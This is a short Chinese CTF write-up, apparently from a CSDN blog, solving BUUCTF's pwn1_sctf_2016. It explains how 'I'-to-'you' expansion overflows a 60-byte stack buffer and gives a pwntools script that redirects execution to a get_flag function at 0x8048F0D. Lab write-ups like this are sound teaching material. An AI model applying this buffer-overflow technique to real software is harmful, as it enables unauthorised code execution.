BUUCTF pwn1_sctf_2016

拿到文件先checksec,32位的文件,并且只开启了NX保护

查看main函数

没有什么东西,双击进入vuln()

通过代码可以知道我们输入的I都会被replace函数替换为you

而且s的长度为0x3c,也就是60个字节,可我们最多能够输入32个字符

所以需要输入20个I来填充0x3c这个长度

紧接着又发现了让人开心的东西

 

在函数列表里面有一个get_flag函数,打开它会发现cat flag.txt命令

并且我们记下他的地址0x8048F0D

有了思路就开始写脚本

from pwn import*

p = remote('node4.buuoj.cn',29042)

payload = 'I' * 20 + 'a' * 4 + p32(0x8048F0D)

p.sendline(payload)

p.interactive()
               

成功拿到flag

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值